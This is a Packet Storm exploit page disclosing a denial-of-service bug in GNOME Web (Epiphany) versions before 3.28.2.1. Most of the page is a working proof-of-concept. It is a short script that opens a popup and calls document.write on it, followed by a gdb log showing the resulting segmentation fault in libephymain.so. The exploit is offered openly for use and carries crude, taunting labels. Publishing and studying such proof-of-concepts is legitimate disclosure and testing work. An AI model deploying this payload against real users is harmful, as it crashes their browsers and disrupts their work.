Twenty Year Anniversary

Gnome Web (Epiphany) Denial Of Service

Gnome Web (Epiphany) Denial Of Service
Posted Jun 8, 2018
Authored by ldpreload

Gnome Web (Epiphany) versions prior to 3.28.2.1 suffer from a denial of service vulnerability.

tags | exploit, web, denial of service
MD5 | d3c2ffda37aa1d92f713a3b69dc9056a

Gnome Web (Epiphany) Denial Of Service

Change Mirror Download
# Title: Gnome Web/Epiphany Browser < 3.28.2.1 - DoS App Crash (PoC)
# Exploit Author: https://github.com/ldpreload
# Date: 2018-06-06
# Link: https://wiki.gnome.org/Apps/Web
# Version: 3.28.2.1

<!>

libephymain.so in GNOME WEB/Epiphany < 3.28.2.1 allows a remote attacker to cause a Denial Of Service and crash the users browser. The cause of this is the "document.write"

<!>

PoC:

<script>
b1tch3z = window.open("https://www.google.com", "bl1ngbl1ng", "width=250,height=250");
b1tch3z.document.write("<p>~ua b1tch3z</p>");

// https://github.com/undergroundagency
// https://github.com/ldpreload
</script>

Video PoC:
https://vimeo.com/273769801

<!>

ld@b1tch3z:~$ gdb epiphany
(gdb) run
Starting program: /usr/bin/epiphany
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".

[New Thread 0x7fffdf7ab700 (LWP 23486)]
[New Thread 0x7fffdd929700 (LWP 23487)]
[New Thread 0x7fffdd128700 (LWP 23488)]
[New Thread 0x7fffd7fff700 (LWP 23489)]
[New Thread 0x7fffd77fe700 (LWP 23490)]
[New Thread 0x7fffd6ffd700 (LWP 23491)]
[New Thread 0x7fffd67fc700 (LWP 23492)]
[New Thread 0x7fffd5ffb700 (LWP 23493)]
[New Thread 0x7fffd57fa700 (LWP 23494)]
[New Thread 0x7fff8b4c4700 (LWP 23499)]
[New Thread 0x7fff899bc700 (LWP 23503)]
[New Thread 0x7fff88fff700 (LWP 23506)]
[New Thread 0x7fff6bfff700 (LWP 23507)]
[New Thread 0x7fff6ae5f700 (LWP 23514)]
[New Thread 0x7fff6a65e700 (LWP 23521)]

[Thread 0x7fff6a65e700 (LWP 23521) exited]
[Thread 0x7fffd5ffb700 (LWP 23493) exited]
[New Thread 0x7fffd5ffb700 (LWP 23527)]
[New Thread 0x7fff6a65e700 (LWP 23528)]
[New Thread 0x7fff691f6700 (LWP 23529)]
[New Thread 0x7fff689f5700 (LWP 23530)]
[New Thread 0x7fff43fff700 (LWP 23531)]
[New Thread 0x7fff3b7fe700 (LWP 23532)]
[New Thread 0x7fff437fe700 (LWP 23533)]
[Thread 0x7fff3b7fe700 (LWP 23532) exited]
[Thread 0x7fff899bc700 (LWP 23503) exited]
[Thread 0x7fff691f6700 (LWP 23529) exited]
[Thread 0x7fff689f5700 (LWP 23530) exited]
[Thread 0x7fff437fe700 (LWP 23533) exited]
[Thread 0x7fff43fff700 (LWP 23531) exited]
[Thread 0x7fff6a65e700 (LWP 23528) exited]
[New Thread 0x7fff6a65e700 (LWP 23557)]
[Thread 0x7fffd5ffb700 (LWP 23527) exited]
[New Thread 0x7fffd5ffb700 (LWP 23566)]
[Thread 0x7fff6a65e700 (LWP 23557) exited]
[Thread 0x7fffd5ffb700 (LWP 23566) exited]
[New Thread 0x7fffd5ffb700 (LWP 23591)]
[New Thread 0x7fff6a65e700 (LWP 23592)]
[Thread 0x7fffd5ffb700 (LWP 23591) exited]
[New Thread 0x7fffd5ffb700 (LWP 23597)]
[Thread 0x7fffd5ffb700 (LWP 23597) exited]
[New Thread 0x7fffd5ffb700 (LWP 23612)]
[Thread 0x7fff6a65e700 (LWP 23592) exited]
[Thread 0x7fffd5ffb700 (LWP 23612) exited]
[New Thread 0x7fffd5ffb700 (LWP 23625)]
[New Thread 0x7fff6a65e700 (LWP 23633)]
[Thread 0x7fff6a65e700 (LWP 23633) exited]
[New Thread 0x7fff6a65e700 (LWP 23644)]
[Thread 0x7fff6a65e700 (LWP 23644) exited]
[New Thread 0x7fff6a65e700 (LWP 23648)]
[Thread 0x7fffd5ffb700 (LWP 23625) exited]
[New Thread 0x7fffd5ffb700 (LWP 23652)]
[Thread 0x7fff6a65e700 (LWP 23648) exited]
[New Thread 0x7fff6a65e700 (LWP 23656)]
[Thread 0x7fff6a65e700 (LWP 23656) exited]
[Thread 0x7fffd5ffb700 (LWP 23652) exited]
[New Thread 0x7fffd5ffb700 (LWP 23684)]
[New Thread 0x7fff6a65e700 (LWP 23685)]
[Thread 0x7fffd5ffb700 (LWP 23684) exited]
[New Thread 0x7fffd5ffb700 (LWP 23715)]
[Thread 0x7fff6a65e700 (LWP 23685) exited]
[New Thread 0x7fff6a65e700 (LWP 23741)]
[Thread 0x7fffd5ffb700 (LWP 23715) exited]
[New Thread 0x7fffd5ffb700 (LWP 23773)]
[Thread 0x7fffd5ffb700 (LWP 23773) exited]
[New Thread 0x7fffd5ffb700 (LWP 23811)]
[Thread 0x7fff6a65e700 (LWP 23741) exited]
[New Thread 0x7fff6a65e700 (LWP 23815)]
[Thread 0x7fffd5ffb700 (LWP 23811) exited]
[New Thread 0x7fffd5ffb700 (LWP 23823)]
[Thread 0x7fff6a65e700 (LWP 23815) exited]

Thread 43 "pool" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fffd5ffb700 (LWP 23823)]
0x00007ffff77bcb2d in ?? () from /usr/lib/epiphany/libephymain.so

(gdb) bt
#0 0x00007ffff77bcb2d in () at /usr/lib/epiphany/libephymain.so
#1 0x00007ffff6cb7e39 in () at /usr/lib/libgio-2.0.so.0
#2 0x00007ffff7040463 in () at /usr/lib/libglib-2.0.so.0
#3 0x00007ffff703fa2a in () at /usr/lib/libglib-2.0.so.0
#4 0x00007fffefa70075 in start_thread () at /usr/lib/libpthread.so.0
#5 0x00007ffff7b1453f in clone () at /usr/lib/libc.so.6

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

August 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    19 Files
  • 2
    Aug 2nd
    17 Files
  • 3
    Aug 3rd
    16 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    1 Files
  • 6
    Aug 6th
    19 Files
  • 7
    Aug 7th
    15 Files
  • 8
    Aug 8th
    9 Files
  • 9
    Aug 9th
    7 Files
  • 10
    Aug 10th
    10 Files
  • 11
    Aug 11th
    1 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    14 Files
  • 14
    Aug 14th
    18 Files
  • 15
    Aug 15th
    38 Files
  • 16
    Aug 16th
    16 Files
  • 17
    Aug 17th
    22 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close